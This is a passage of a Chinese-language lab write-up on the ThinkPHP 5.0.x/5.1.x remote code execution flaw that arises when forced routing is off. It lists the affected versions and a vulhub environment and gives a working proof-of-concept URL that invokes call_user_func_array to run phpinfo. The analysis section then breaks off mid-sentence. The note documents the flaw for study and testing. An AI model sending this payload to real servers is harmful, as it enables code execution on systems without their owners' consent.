ThinkPHP 5.0.x 未开启强制路由导致的RCE
影响版本:
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
环境:
vulhub-master/thinkphp/5-rce
启动docker环境之后访问:
这个的版本是ThinkPHP 5.0.20版本:
http://ip:8080/
POC:
http://192.168.17.134:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
分析
5.0版本跟5.1版本 有些不同。
首先,默认情况下安装的 ThinkPHP 没有开启强制路由选项,而且默认开启路由兼容模式。
由于没有开启强制路由,说明我们可以使用路由兼容模式 s 参数,而框